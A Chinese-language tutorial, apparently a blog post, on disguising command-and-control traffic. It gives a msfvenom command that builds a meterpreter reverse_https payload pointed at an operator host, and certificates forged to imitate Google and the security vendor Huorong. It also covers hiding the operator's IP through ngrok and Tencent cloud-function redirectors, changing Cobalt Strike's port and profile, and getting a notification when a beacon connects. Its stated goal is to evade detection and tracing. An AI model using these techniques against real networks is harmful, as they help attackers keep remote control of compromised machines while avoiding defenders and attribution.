简介
流量的东西大概做的几个方向:
- IP
- 内容
我们的目的就是尽可能的贴近目标平时的网络环境流量,把容易看懂的变成不容易看懂的内容。
MSF使用https监听
SSL证书可以把http流量加密成密文这是众所皆知的。我们可以通过自己生成ssl
证书,或者去申请证书用来监听给流量加密。这里为了实验,使用的是openssl
自己生成证书的方式。
生成ssl
证书
1 | openssl req -new -newkey rsa:4096 -days 365 -nodes -x509 \ |
最后会在该目录下生成出一个www.google.com.pem
的文件,为了方便,改名为server.pem
。
生成https的payload
1 | msfvenom -p windows/meterpreter/reverse_https lhost=192.168.128.128 lport=4444 PayloadUUIDTracking=true HandlerSSLCert=server.pem PayloadUUIDName=solkatt -f exe -o payload.exe |
这里的PayloadUUIDTracking
是为了防止有人恶意链接该payload而生成的,但是如果不开启postsql
数据库没有什么效果。HandlerSSLcert
用来指定刚才生成的证书。Payloaduuidname
是指定uuid名称。
生成https的监听
1 | use exploit/multi/handler |
生成后连接使用wireshark来抓取流量包。可以发现流量都是经过加密了的。
PS:一定要注意保护好自己的server.pem
。如果证书泄露依然会有被溯源的风险。
MSF使用NGROCK隐藏IP地址
端口转发一直是隐藏IP的好方式。除了NGRCOK,相同的软件还有frp
,花生壳
等。
ngrock
规避我们的可识别的IP或者身份,在公网上的一种多客户的服务方案。
在官网注册开通服务后,首先下载对应的机器的版本
下到机器后运行./sunny clientid 你自己得通道id
,启动监听
接下来去msf中生成链接ngrock服务器得payload。其中payload的lhost是ngork的服务器名字,端口也是ngrock的
msf开启监听,监听时选择的端口是ngrock映射到我们本地的端口80.
然后通过资源监视器找到我们的payload的名字的exe查看远程链接地址为:
可以看到去的地址是腾讯云的,因此隐藏了IP地址。
CS
1.修改默认端口
cs的默认端口为50050,这个是很明显的特征,可以在配置文件teamserver
中修改
1 |
|
-Dcobaltstrike.server_port=5555
这里可以修改默认端口
2.修改证书
cs的默认证书cobaltstrike.store
是有很明显的cs特征。
我们可以自己生成一个新的证书,接着用来替换原来的。
kali中输入
1 | keytool -keystore cobaltstrike.store -storepass 123456 -keypass 123456 -genkey -keyalg RSA -alias huorong.com -dname "CN=us OU=huorong.com O=software,L=chongqing,S=chongqing,C=CN" |
替换成功证书。
PS:当然更加推荐去服务商申请一个相关证书。
3.profile
https://www.cobaltstrike.com/downloads/csmanual44.pdf
cs可以自定义很多特征,详细信息可以查看官方文档。
4.云函数
什么是云函数:
相当于一个只有一个编程语言的一个docker。
一个有公网地址的负责数据请求的处理和转发这样一个单一功能的一个东西。
限制条件:teamserver必须部署在公网IP上。
步骤:
1.配置腾讯云上云函数。
在函数编辑器里面写上以下代码
1 | # -*- coding: utf8 -*- |
2.配置触发器
之后去cs下面默认的havex.profile
修改参数,只需要去替换里面相应的东西就好。
1 | set sleeptime "5000"; |
之后测试上线
记得在创造监听器的时候,要选择云函数对应的监听器
上线成功,查看流向的IP地址
5.联动server酱
在本地新建一个server.cna
1 | # 循环获取所有beacon |
在cobalt Strike
->script manage
里面即可添加插件
重新上线,server酱获得消息